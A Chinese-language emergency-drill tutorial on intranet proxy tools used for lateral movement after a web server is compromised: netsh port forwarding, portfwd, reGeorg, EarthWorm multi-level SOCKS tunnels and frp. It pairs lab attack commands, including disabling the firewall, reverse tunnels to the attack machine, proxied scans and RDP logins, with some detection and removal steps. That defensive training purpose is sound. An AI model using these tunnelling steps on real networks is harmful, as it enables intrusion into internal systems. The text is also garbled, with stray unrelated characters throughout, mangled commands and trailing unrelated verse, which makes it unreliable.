1 場景介紹
一個網(wǎng)絡(luò)請求一般是由客戶端發(fā)起,服務(wù)器響應(yīng),而代理服務(wù)是這個網(wǎng)絡(luò)請求的中介疏魏,其作用是將客戶端的網(wǎng)絡(luò)請求經(jīng)由自身代理服務(wù)轉(zhuǎn)發(fā)至服務(wù)端蛉艾。
某些情況下客戶端無法直接訪問服務(wù)端钳踊,但代理服務(wù)端可以訪問服務(wù)端,此時客戶端與代理服務(wù)端建立協(xié)議勿侯,客戶端的請求都經(jīng)由代理端轉(zhuǎn)發(fā)至服務(wù)端這便是正向代理拓瞪。正向代理主要面向客戶端服務(wù),服務(wù)端的響應(yīng)會返回給代理服務(wù)端助琐,代理服務(wù)端會將其轉(zhuǎn)發(fā)至客戶端祭埂。故而正向代理的過程中,服務(wù)端無法確定請求的真實發(fā)起者兵钮,僅與代理端進行通信蛆橡。
某些情況下,為保護內(nèi)網(wǎng)安全以及優(yōu)化網(wǎng)站負載服務(wù)端也會使用代理程序代理大量來自客戶端的網(wǎng)絡(luò)請求掘譬,反向代理主要面向服務(wù)端服務(wù)泰演,客戶端的請求會直接發(fā)給代理服務(wù)器,代理服務(wù)器會轉(zhuǎn)發(fā)至服務(wù)端并將服務(wù)端響應(yīng)返回值客戶端葱轩。故而反向代理的過程中睦焕,客戶端無法確定真實服務(wù)端地址藐握,僅與代理端進行通信。
攻擊者在成功入侵某一臺對外服務(wù)器后也會利用以上代理原理進行內(nèi)網(wǎng)橫向滲透進一步擴大戰(zhàn)果垃喊,上傳代理工具至對外服務(wù)器將其改造為跳板機猾普,建立通往內(nèi)網(wǎng)的通信隧道。
某些不合規(guī)情況下運維人員為方便自身本谜,擅自將內(nèi)網(wǎng)服務(wù)器代理至互聯(lián)網(wǎng)也會造成安全風(fēng)險初家。
通過內(nèi)網(wǎng)代理環(huán)境應(yīng)急演練熟悉當(dāng)前常用內(nèi)網(wǎng)代理工具和方法以及檢查和處置方法,提升內(nèi)部人員安全意識乌助,避免因黑客攻擊或運維不合規(guī)造成內(nèi)網(wǎng)服務(wù)器暴露在公網(wǎng)的風(fēng)險笤成。
2 正向代理
2.1 netsh端口轉(zhuǎn)發(fā)
netsh是windows系統(tǒng)自帶命令行程序,攻擊者無需上傳第三方工具即可利用netsh程序可進行端口轉(zhuǎn)發(fā)操作眷茁,可將內(nèi)網(wǎng)中其他服務(wù)器的端口轉(zhuǎn)發(fā)至本地訪問炕泳,如內(nèi)網(wǎng)某臺服務(wù)器的ssh端口可轉(zhuǎn)發(fā)至本地即可通過暴力破解或弱口令方式嘗試登陸目標(biāo)服務(wù)器。
注意點:
利用netsh進行端口轉(zhuǎn)發(fā)需要具備管理員權(quán)限上祈。
實際環(huán)境下攻擊者利用靶機的漏洞上傳該工具培遵,本示例目的為演示代理工具的使用和原理,未體現(xiàn)漏洞利用過程登刺。
場景:
靶機A是web服務(wù)器籽腕,攻擊者通過漏洞攻擊獲得靶機A的服務(wù)器權(quán)限,靶機B位于內(nèi)網(wǎng)且未映射至互聯(lián)網(wǎng)纸俭,此時通過利用靶機A自帶命令行程序netsh皇耗,netsh可將攻擊者的流量經(jīng)由靶機A轉(zhuǎn)發(fā)至靶機B,使得攻擊者可以訪問到位于內(nèi)網(wǎng)的靶機B揍很。
示例
靶機A 10.211.55.3(windows)
靶機B 10.211.55.7(centos7)
攻擊機 10.211.55.4(kali)
在靶機A上運行以下命令開啟端口轉(zhuǎn)發(fā)策略郎楼,提示需管理員權(quán)限運行:
netsh interface portproxy add v4tov4 listenaddress=10.211.55.3? listenport=33310 connectport=22 connectaddress=10.211.55.7
使用如下如下命令切換至管理員權(quán)限,需輸入管理員賬號密碼窒悔。
runas /user:administrator cmd
切換至管理員權(quán)限后重復(fù)上述命令。
在攻擊機上運行如下命令登錄靶機B失敗简珠。
sshroot@10.211.55.3-p 33310
在靶機A上運行如下命令查看防火墻狀態(tài)阶界,靶機A防火墻默認開啟。
netsh firewall show config
使用netsh關(guān)閉靶機A的防火墻
netsh advfirewall set allprofiles state off
在攻擊機上運行如下命令利用靶機A的端口轉(zhuǎn)發(fā)策略登錄至靶機B上聋庵。
sshroot@10.211.55.3-p 33310
在靶機B上看到開啟了33310監(jiān)聽端口膘融,同時攻擊機與該端口建立了tcp連接,也可以看到靶機A主動連接了靶機B的22端口祭玉。說明此刻攻擊機正在利用靶機A的端口轉(zhuǎn)發(fā)隧道入侵靶機B氧映。
netsh端口轉(zhuǎn)發(fā)可使用如下命令查看,確認主機是否被惡意植入了端口轉(zhuǎn)發(fā)策略攘宙。
netsh interface portproxy show v4tov4
使用如下命令即可刪除端口轉(zhuǎn)發(fā)策略
netsh interface portproxy delete v4tov4 listenaddress=10.211.55.3? listenport=33310
2.2 portfwd端口轉(zhuǎn)發(fā)
portfwd是一款強大的端口轉(zhuǎn)發(fā)工具屯耸,支持TCP,UDP蹭劈,支持IPV4以及IPV6的端口轉(zhuǎn)發(fā)疗绣。
攻擊者在獲取對外服務(wù)器權(quán)限后為擴大戰(zhàn)果,會上傳端口轉(zhuǎn)發(fā)工具至對外服務(wù)器铺韧,獲得更多的可攻擊面多矮。例如將失陷主機的任意可訪問端口轉(zhuǎn)發(fā)至內(nèi)網(wǎng)某臺服務(wù)器的遠程桌面端口,即可通過暴力破解和弱口令的方式嘗試登陸內(nèi)網(wǎng)服務(wù)器哈打。
注意點:
實際環(huán)境下攻擊者利用靶機的漏洞上傳該工具塔逃,本示例目的為演示代理工具的使用和原理,未體現(xiàn)漏洞利用過程料仗。
場景:
靶機A是web服務(wù)器湾盗,攻擊者通過漏洞攻擊獲得靶機A的服務(wù)器權(quán)限,靶機B位于內(nèi)網(wǎng)且未映射至互聯(lián)網(wǎng)立轧,此時通過上傳portfwd至靶機A格粪,portfwd可將攻擊者的流量經(jīng)由靶機A轉(zhuǎn)發(fā)至靶機B,使得攻擊者可以訪問到位于內(nèi)網(wǎng)的靶機B氛改。
示例
靶機A 10.211.55.7
靶機B 10.211.55.3
攻擊機 10.211.55.4
工具下載路徑https://github.com/rssnsj/portfwd.git
在靶機A上使用如下命令下載portfwd端口轉(zhuǎn)發(fā)工具帐萎。
使用如下命令進入src目錄并進行編譯,該工具包為源碼需自行編譯使用胜卤。
cd portfwd/src
make
使用如下命令建立軟鏈接疆导,鏈接路徑需為portfwd工具的絕對路徑。
ln -s /root/portfwd/src/tcpfwd /usr/bin&&ln -s /root/portfwd/src/udpfwd /usr/bin
使用如下命令進行端口轉(zhuǎn)發(fā)葛躏,將發(fā)給靶機A的33310端口的流量轉(zhuǎn)發(fā)至靶機B的3389端口澈段,這樣即使攻擊機與靶機B的網(wǎng)絡(luò)不通饺蔑,仍可通過此端口轉(zhuǎn)發(fā)鏈路訪問到靶機B的3389端口哨苛。
tcpfwd 0.0.0.0:33310 10.211.55.3:3389
在攻擊機上運行如下命令即可通過端口轉(zhuǎn)發(fā)訪問靶機B的遠程桌面。
rdesktop 10.211.55.7:33310
在靶機A上運行如下命令可查看到tcpfwd開啟了一個監(jiān)聽端口33310示绊,同時利用該端口轉(zhuǎn)發(fā)隧道訪問了靶機B的3389端口芒率。
netstat -antlp
通過如下命令可以確定進程的可執(zhí)行文件所在位置囤耳,并進行清除。
ls -al /proc/pid
在靶機B上運行如下命令可以看到靶機A與自身的遠程桌面3389端口建立了tcp連接偶芍。
netstat -ano
2.3 regeorg正向代理
regeorg工具通過http協(xié)議建立通信隧道充择,攻擊者通常在獲得內(nèi)網(wǎng)某臺web服務(wù)器權(quán)限后,上傳該工具創(chuàng)建socket監(jiān)聽一個端口用于正向代理匪蟀,攻擊者通過此端口可將攻擊流量透傳至目標(biāo)內(nèi)網(wǎng)其他服務(wù)器椎麦,從而達到內(nèi)網(wǎng)橫向滲透擴大戰(zhàn)果的目的。
注意點:
實際環(huán)境下攻擊者利用靶機的漏洞上傳該工具材彪,本示例目的為演示代理工具的使用和原理观挎,未體現(xiàn)漏洞利用過程琴儿。
場景:
在靶機A上上傳regeorg后門文件,在攻擊機上運行regeorg腳本連接后門嘁捷,使得本地攻擊流量可通過此http隧道轉(zhuǎn)發(fā)至內(nèi)網(wǎng)環(huán)境造成。
示例 利用regeorg工具正向代理進行內(nèi)網(wǎng)橫向滲透
攻擊機:10.211.55.5(kali)
靶機A:10.211.55.7(centos7+tomcat)
靶機B:10.211.55.15(windows server2003)
工具下載:
在攻擊機上執(zhí)行如下命令下載regeorg代理工具包
在靶機A上上傳regeorg代理工具包如下:(實際攻擊場景下通過利用靶機A的漏洞上傳此工具包)
在攻擊機上運行代理腳本,由于靶機A使用的是jsp類型網(wǎng)站腳本雄嚣,命令如下:
python reGeorgSocksProxy.py -u http://10.211.55.7:8080/reGeorg-master/tunnel.jsp -p 1088
提示georg says, ‘a(chǎn)ll seems fine’說明連接成功晒屎,已完成端口復(fù)用。
在攻擊機上配置本地全局代理proxychains缓升,使得本地攻擊流量可通過regeorg創(chuàng)建的http隧道轉(zhuǎn)發(fā)至內(nèi)網(wǎng)其他服務(wù)器鼓鲁。
攻擊機自帶proxychains全局代理工具,默認路徑為/etc/proxychains4.conf,編輯配置文件在文件最后增加如下配置:
Socks5 127.0.0.1 1088
以上配置使得攻擊機可將支持socks5協(xié)議的攻擊流量通過本地1088端口轉(zhuǎn)發(fā)至靶機A港谊,再通過靶機A轉(zhuǎn)發(fā)至內(nèi)網(wǎng)其他服務(wù)器骇吭。
查看攻擊機上的regeorg的運行日志可以看到,telnet請求的目的地址和端口歧寺。
查看靶機A上的網(wǎng)絡(luò)連接绵跷,可以看到攻擊機的請求成功實現(xiàn)端口復(fù)用,復(fù)用了java進程創(chuàng)建的端口連接了靶機B的445端口成福。
查看靶機B的網(wǎng)絡(luò)連接無法看到攻擊機ip地址碾局,靶機A作為攻擊機的正向代理
下面使用端口掃描工具對靶機B進行端口掃描,命令如下:
proxychains4 namp -sT 10.211.55.15 -Pn
成功掃描出靶機B開放的端口奴艾。
在靶機B上抓包可以看到所有的端口掃描請求源地址均來自靶機A而不是攻擊機净当。
regeorg代理工具是基于web程序?qū)崿F(xiàn)的,其可執(zhí)行文件一般位于網(wǎng)站路徑下蕴潦,可通過上傳web后門查殺工具進行本地查殺像啼。
上傳web后門查殺工具后執(zhí)行如下命令指定查殺路徑,可以發(fā)現(xiàn)網(wǎng)站路徑下攻擊者不僅上傳了regeorg代理工具同時也被植入了web后門文件潭苞。根據(jù)其掃描結(jié)果與網(wǎng)站開發(fā)核實后進行清除忽冻,同時可檢查同路徑下有無創(chuàng)建時間相同的腳本文件并與開發(fā)核實防止web后門查殺工具存在漏報誤報情況。
./hm scan /usr/local/tomcat/tomcat/apache-tomcat-8.5.51/webapps/
3 反向代理
3.1 earthworm反向代理
earthworm是一套便攜式網(wǎng)絡(luò)穿透工具此疹,具有socks和端口轉(zhuǎn)發(fā)兩大核心功能僧诚,支持正向代理、反向代理蝗碎、多級代理等方式打通網(wǎng)絡(luò)隧道湖笨,可在復(fù)雜網(wǎng)絡(luò)環(huán)境下完成網(wǎng)絡(luò)穿透和內(nèi)網(wǎng)橫向滲透的功能。
注意點:
實際環(huán)境下攻擊者利用靶機的漏洞上傳該工具蹦骑,本示例目的為演示代理工具的使用和原理慈省,未體現(xiàn)漏洞利用過程。
場景:
分別在靶機A眠菇、B以及攻擊機上運行earthworm代理工具边败,使得攻擊機將靶機A袱衷、B作為其多級代理進行內(nèi)網(wǎng)橫向滲透。
示例1 利用earthworm反向代理進行內(nèi)網(wǎng)橫向滲透
靶機A:10.211.55.7(centos7)
靶機B:10.211.55.15(windows server 2003r2)
攻擊機:10.211.55.4(kali)
工具下載路徑如下:
git clonehttps://github.com/idlefire/ew.git
使用上述命令在攻擊機上下載該工具如下:
下載成功后運行如下命令,可在攻擊機本地開啟1080和8888監(jiān)聽端口笑窜,并將1080端口收到的流量轉(zhuǎn)發(fā)至8888端口致燥。
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
使用命令netstat -antlp 可以看到攻擊機本地開啟了1080和8888監(jiān)聽端口。
在靶機A上上傳earthworm,并運行如下命令連接攻擊機的8888端口怖侦,建立與攻擊機的反向代理。
./ew -s rssocks -d vpsip -e 8888
運行后可以看到程序日志提示已完成代理的連接谜叹。
在攻擊機上修改全局代理軟件proxychains的配置文件匾寝,默認路徑為/etc/proxychains4.conf,配置socks5代理地址和端口如下:
注意:
由于演練環(huán)境為本地搭建荷腊,實際環(huán)境下攻擊機地址一般為公網(wǎng)vps地址艳悔,若設(shè)置為公網(wǎng)vps地址,此時全局代理配置ip應(yīng)設(shè)置為vps地址女仰。
在攻擊機上使用如下命令通過代理隧道探測靶機B的3389端口是否開啟猜年,telnet使用的是tcp協(xié)議,而socks5協(xié)議支持tcp和udp協(xié)議數(shù)據(jù)的傳遞疾忍。
proxychains telnet 10.211.55.15 3389
在靶機A的earthworm日志上可以看到攻擊機發(fā)起的telnet請求觸發(fā)的tcp數(shù)據(jù)包成功轉(zhuǎn)發(fā)至靶機B上乔外。
在靶機A上查看網(wǎng)絡(luò)連接可以看到靶機A與攻擊機的8888端口建立了tcp連接,同時也可看到靶機A成功代理了攻擊機觸發(fā)的3389請求一罩。
在靶機B上只能看到靶機A的地址與自身3389端口建立了連接杨幼,無法看到攻擊機地址。
此時利用全局代理以及靶機A的代理隧道聂渊,即使靶機B處于內(nèi)網(wǎng)無法通過外網(wǎng)訪問差购,也可通過此代理隧道實現(xiàn)遠程登錄靶機B,實現(xiàn)內(nèi)網(wǎng)的橫向移動汉嗽。
使用如下命令遠程登錄靶機B:
proxychains4 resktop 10.211.55.15
攻擊機彈出了靶機B的遠程桌面端口欲逃,此時若靶機B使用了弱密碼或被暴力破解成功即可實現(xiàn)遠程登錄。
示例2 使用earthworm多級代理進行內(nèi)網(wǎng)橫向滲透
靶機A:10.211.55.7(centos7)
靶機B:10.211.55.15(windows server 2003r2)
靶機C:10.211.55.3(windows10)
攻擊機:10.211.55.4(kali)
本示例中靶機A可訪問攻擊機饼暑,靶機B和C均與攻擊機網(wǎng)絡(luò)不通稳析,但與靶機A網(wǎng)絡(luò)互通。
注意:
某些條件下弓叛,內(nèi)網(wǎng)某些服務(wù)器無法訪問互聯(lián)網(wǎng)迈着,需通過級聯(lián)的方式將可訪問互聯(lián)網(wǎng)的主機作為一級代理連接攻擊機,二級代理連接一級代理主機即可形成通信隧道邪码,攻擊機可通過級聯(lián)的方式將攻擊流量轉(zhuǎn)發(fā)至更深入的內(nèi)網(wǎng)裕菠。
在攻擊機上運行如下命令,可在攻擊機本地開啟1080和8888監(jiān)聽端口闭专,并將1080端口收到的流量轉(zhuǎn)發(fā)至8888端口奴潘。
./ew -s lcx_listen -l 1080 -e 8888
在靶機B上運行如下命令旧烧,可開啟9999端口的正向代理。
./ew -s ssocksd -l 9999
在靶機A上運行如下命令画髓,同時連接攻擊機的反向代理端口和靶機B的正向代理端口掘剪。
./ew -s lcx_slave -d 10.211.55.4 -e 8888 -f 10.211.55.15 -g 9999
當(dāng)靶機A成功連接上攻擊機時,攻擊機代理日志可以看到連接成功記錄奈虾。
在攻擊機上使用如下命令通過代理隧道探測靶機C的3389端口是否開啟夺谁,telnet使用的是tcp協(xié)議,而socks5協(xié)議支持tcp和udp協(xié)議數(shù)據(jù)的傳遞肉微。
proxychains telnet 10.211.55.3 3389
此時登錄靶機C查看網(wǎng)絡(luò)連接可以看到telnet請求觸發(fā)的tcp連接發(fā)起端為靶機B匾鸥。說明攻擊機發(fā)起的請求經(jīng)由靶機A轉(zhuǎn)發(fā)至靶機B,有經(jīng)由靶機B的正向代理轉(zhuǎn)發(fā)至靶機C碉纳。
使用如下命令遠程登錄靶機C:
proxychains4 resktop 10.211.55.3
攻擊機彈出了靶機B的遠程桌面端口勿负,此時若靶機B使用了弱密碼或被暴力破解成功即可實現(xiàn)遠程登錄。
3.2 frp反向代理
frp
是一個可用于內(nèi)網(wǎng)穿透的高性能的反向代理應(yīng)用劳曹,支持tcp奴愉、udp協(xié)議。運維人員使用 frp
進行反向代理铁孵,滿足通過公網(wǎng)服務(wù)器訪問處于內(nèi)網(wǎng)的服務(wù)锭硼,如訪問內(nèi)網(wǎng)web服務(wù),遠程ssh內(nèi)網(wǎng)服務(wù)器蜕劝,遠程控制內(nèi)網(wǎng)nas等账忘,但此類操作存在較大安全隱患,會將內(nèi)網(wǎng)服務(wù)直接暴露在公網(wǎng)熙宇。
對于內(nèi)網(wǎng)滲透來講鳖擒,這種功能恰好能夠滿足我們進行內(nèi)網(wǎng)滲透的流量轉(zhuǎn)發(fā)。frp最大的一個特點是使用socks代理烫止,而socks是加密通信的蒋荚,類似于做了一個加密的隧道,可以把外網(wǎng)的流量馆蠕,通過加密隧道穿透到內(nèi)網(wǎng)期升。
注意點:
實際環(huán)境下攻擊者利用靶機的漏洞上傳該工具,本示例目的為演示代理工具的使用和原理互躬,未體現(xiàn)漏洞利用過程播赁。
場景:
分別在靶機A和攻擊機上運行frp代理工具,使得攻擊機將靶機A作為其代理進行內(nèi)網(wǎng)橫向滲透吼渡。
示例 利用frp反向代理進行內(nèi)網(wǎng)橫向滲透
靶機A:10.211.55.7(centos7)
靶機B:10.211.55.3(windows)
攻擊機:10.211.55.4(kali)
工具下載路徑如下:
https://github.com/fatedier/frp/releases
根據(jù)運行系統(tǒng)選擇合適版本下載容为,本示例運行平臺均為linux,選擇frp_0.35.1_linux_amd64.tar.gz進行下載。
在攻擊機上編輯frp服務(wù)端配置文件frps.ini坎背,配置內(nèi)容如下:
[common]
bind_port = 33310
allow_ports=33310-33410
token = ZUcviGVBciVNip4YoeE0
在攻擊機上進入到frp目錄替劈,運行如下命令啟動代理程序服務(wù)端。
./frps -c frps.ini? ? ? ? ? ? ?#nohup ./frps -c frps.ini&后臺運行
在靶機A上上傳frp工具包后得滤,編輯frp客戶端配置文件frpc.ini陨献,配置內(nèi)容如下:
[common]
server_addr = 10.211.55.4
server_port = 33310
token = ZUcviGVBciVNip4YoeE0
[socks_proxy]
type= tcp
plugin= socks5
remote_port = 33311
local_port = 33311
進入靶機A的frp目錄下,運行如下命令即可啟動反向代理客戶端懂更。
在攻擊機上修改全局代理軟件proxychains的配置文件眨业,默認路徑為/etc/proxychains4.conf,配置socks5代理地址和端口如下:
socks5 127.0.0.1 33311
注意:
由于演練環(huán)境為本地搭建沮协,實際環(huán)境下攻擊機地址一般為公網(wǎng)vps地址龄捡,若設(shè)置為公網(wǎng)vps地址,此時全局代理配置ip應(yīng)設(shè)置為vps地址皂股。
在攻擊機上使用如下命令通過代理隧道探測靶機B的3389端口是否開啟墅茉,telnet使用的是tcp協(xié)議命黔,而socks5協(xié)議支持tcp和udp協(xié)議數(shù)據(jù)的傳遞呜呐。
登錄靶機B可以看到攻擊機telnet觸發(fā)的請求經(jīng)由靶機A的代理隧道轉(zhuǎn)發(fā)至靶機B。
使用如下命令遠程登錄靶機B:
proxychains4 resktop 10.211.55.3
攻擊機彈出了靶機B的遠程桌面端口悍募,此時若靶機B使用了弱密碼或被暴力破解成功即可實現(xiàn)遠程登錄蘑辑。
器識為先,文藝其從坠宴。
立德立言洋魂,無問西東。
還是想她喜鼓。副砍。。